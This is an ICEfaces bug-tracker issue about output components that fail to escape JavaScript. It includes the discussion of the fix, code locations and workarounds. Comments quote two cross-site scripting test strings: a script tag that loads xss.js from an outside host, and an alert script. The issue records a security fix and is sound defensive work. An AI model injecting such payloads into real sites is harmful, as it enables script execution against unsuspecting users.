ICEfaces
  1. ICEfaces
  2. ICE-5854

Output components don't escape JavaScript

          Details

          • Type: Bug Bug
          • Status: Closed
          • Priority: Major Major
          • Resolution: Fixed
          • Affects Version/s: 1.8.2-EE-GA_P01, 2.0-Beta2
          • Fix Version/s: 2.0.0
          • Component/s: Framework, ICE-Components
          • Labels:
            None
          • Environment:
            All
          • Workaround Exists:
            Yes
          • Workaround Description:
            Hide
            Escape the value before passing it in:

            import com.icesoft.faces.util.DOMUtils;

            escaped = DOMUtils.escapeAnsi(value);
            Show
            Escape the value before passing it in: import com.icesoft.faces.util.DOMUtils; escaped = DOMUtils.escapeAnsi(value);

            Description

            The ICEfaces output component are not escaped by default which makes them vulnerable to cross site scripting attacks. The <ice:outputText> uses the escape attribute but the other output components do not (ex: <ice:selectOneMenu/>). Doing a test in a pure JSF application reveals that the JSF framework by default filters/escapes JavaScript by default.

              Activity

              Ascending order - Click to sort in descending order
              Hide
              Permalink
              Arran Mccullough added a comment -

              Case9225Example.war = JSF example

              Show
              Arran Mccullough added a comment - Case9225Example.war = JSF example
              Hide
              Permalink
              Arran Mccullough added a comment -

              Case9225Example.war = ICEfaces example

              Show
              Arran Mccullough added a comment - Case9225Example.war = ICEfaces example
              Hide
              Permalink
              Arran Mccullough added a comment -

              Project source code

              Show
              Arran Mccullough added a comment - Project source code
              Hide
              Permalink
              Arran Mccullough added a comment -

              Sample cross site script:
              "<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>";

              Show
              Arran Mccullough added a comment - Sample cross site script: "<SCRIPT SRC= http://ha.ckers.org/xss.js ></SCRIPT>";
              Hide
              Permalink
              Greg Dick added a comment -

              The attached cases are built for glassfish.

              Show
              Greg Dick added a comment - The attached cases are built for glassfish.
              Hide
              Permalink
              Ted Goddard added a comment -

              It may be possible to use DOM userData to indicate whether a given text node should be escaped on output or not.

              Show
              Ted Goddard added a comment - It may be possible to use DOM userData to indicate whether a given text node should be escaped on output or not.
              Hide
              Permalink
              Mark Collette added a comment -

              We could add a method to DOMUtils, which would check a context param, and then conditionally call DOMUtils.escapeAnsi. In ICEfaces 1.8.2, the default would be to not escape, and in ICEfaces 2, the default would be to do escaping. In either release, escaping can be enabled or disabled. Then, all of the DOM API compat components, that erroneously do not do escaping, would be modified to use this new method. We would just search for the DOM API usage where text nodes are created, and add this, where appropriate. That way backwards compatibility can be preserved, and security enhanced (mutually exclusively).

              Show
              Mark Collette added a comment - We could add a method to DOMUtils, which would check a context param, and then conditionally call DOMUtils.escapeAnsi . In ICEfaces 1.8.2, the default would be to not escape, and in ICEfaces 2, the default would be to do escaping. In either release, escaping can be enabled or disabled. Then, all of the DOM API compat components, that erroneously do not do escaping, would be modified to use this new method. We would just search for the DOM API usage where text nodes are created, and add this, where appropriate. That way backwards compatibility can be preserved, and security enhanced (mutually exclusively).
              Hide
              Permalink
              Ken Fyten added a comment -

              Customer comment/suggestion:

              Created By: Markus Günther (07/07/2010 1:07 AM)
              Hi, in the meantime we have added explicit filtering of the input and output in all getter and setters of the application. Of course it would be helpful if such a task is treated by the library as it is general stuff which must be applied to almost all GUI input and output controls.

              We 've implemented this by usage of the official OWASP ESAPI library which is common availalbe and does this job. I would recommend IceFaces to add such functionality in a future release as this is more and more a very hot issue for web applications and most developers are not aware of that. So it is a big plus using the library (eg. only for IceFacesEE users .

              See: http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API

              Please let me know once you have a decision how you proceed with this security issue.

              Show
              Ken Fyten added a comment - Customer comment/suggestion: Created By: Markus Günther (07/07/2010 1:07 AM) Hi, in the meantime we have added explicit filtering of the input and output in all getter and setters of the application. Of course it would be helpful if such a task is treated by the library as it is general stuff which must be applied to almost all GUI input and output controls. We 've implemented this by usage of the official OWASP ESAPI library which is common availalbe and does this job. I would recommend IceFaces to add such functionality in a future release as this is more and more a very hot issue for web applications and most developers are not aware of that. So it is a big plus using the library (eg. only for IceFacesEE users . See: http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API Please let me know once you have a decision how you proceed with this security issue.
              Hide
              Permalink
              Ted Goddard added a comment -

              Investigate compat to determine if the concern remains with ICEfaces 2.0.

              Show
              Ted Goddard added a comment - Investigate compat to determine if the concern remains with ICEfaces 2.0.
              Hide
              Permalink
              Ted Goddard added a comment -

              Verified problem to still be present with ICEfaces 2.0 compat.

              For instance, the following string will result in script execution when set on the selectOne:

              <script>alert('hello')</script>

              Show
              Ted Goddard added a comment - Verified problem to still be present with ICEfaces 2.0 compat. For instance, the following string will result in script execution when set on the selectOne: <script>alert('hello')</script>
              Hide
              Permalink
              Ted Goddard added a comment -

              Attached file can be unzipped in component-showcase expanded directory to reproduce the problem.

              Show
              Ted Goddard added a comment - Attached file can be unzipped in component-showcase expanded directory to reproduce the problem.
              Hide
              Permalink
              Ted Goddard added a comment -

              Code from compat/core/src/main/java/com/icesoft/faces/renderkit/dom_html_basic/MenuRenderer.java

              Text labelNode = doc.createTextNode(label == null ? valueString : label);

              A DOM Text object is created directly from the component valueString. Most calls to createTextNode are invoked via domContext.createTextNode(), many are of the form

              domContext.getDocument().createTextNode(detail);

              The legacy DOMContext API could be modified to perform escaping and the few remaining cases that operate on the DOM directly could be replaced with DOMContext versions.

              Show
              Ted Goddard added a comment - Code from compat/core/src/main/java/com/icesoft/faces/renderkit/dom_html_basic/MenuRenderer.java Text labelNode = doc.createTextNode(label == null ? valueString : label); A DOM Text object is created directly from the component valueString. Most calls to createTextNode are invoked via domContext.createTextNode(), many are of the form domContext.getDocument().createTextNode(detail); The legacy DOMContext API could be modified to perform escaping and the few remaining cases that operate on the DOM directly could be replaced with DOMContext versions.
              Hide
              Permalink
              Ted Goddard added a comment -

              Compat components have been modified to use createTextNodeUnescaped only when necessary. Note that there are possible script injection attacks through some of the scripts generated by components, for instance:

              Ice.FCKeditor.register ('iceform:iceInpRchTxt', new Ice.FCKeditor('iceform:iceInpRchTxt', 'en', '', '/component-showcase/icefaces/resource/LTQ5MTYyMDg1Mw==/','600', '275', 'Default', 'null', 'silver'))

              The 'null' in the above consists of options passed to the editor component. If these options are dynamically generated from user input, there is the possibility of script injection attacks.

              Show
              Ted Goddard added a comment - Compat components have been modified to use createTextNodeUnescaped only when necessary. Note that there are possible script injection attacks through some of the scripts generated by components, for instance: Ice.FCKeditor.register ('iceform:iceInpRchTxt', new Ice.FCKeditor('iceform:iceInpRchTxt', 'en', '', '/component-showcase/icefaces/resource/LTQ5MTYyMDg1Mw==/','600', '275', 'Default', 'null', 'silver')) The 'null' in the above consists of options passed to the editor component. If these options are dynamically generated from user input, there is the possibility of script injection attacks.
              Hide
              Permalink
              Ted Goddard added a comment -

              The fix was not overly complex and could be back-ported to ICEfaces 1.8 if required.

              Show
              Ted Goddard added a comment - The fix was not overly complex and could be back-ported to ICEfaces 1.8 if required.

                People

                • Assignee:
                  Ted Goddard
                  Reporter:
                  Arran Mccullough
                • Votes:
                  0 Vote for this issue
                  Watchers:
                  0 Start watching this issue

                  Dates

                  • Created:
                    Updated:
                    Resolved: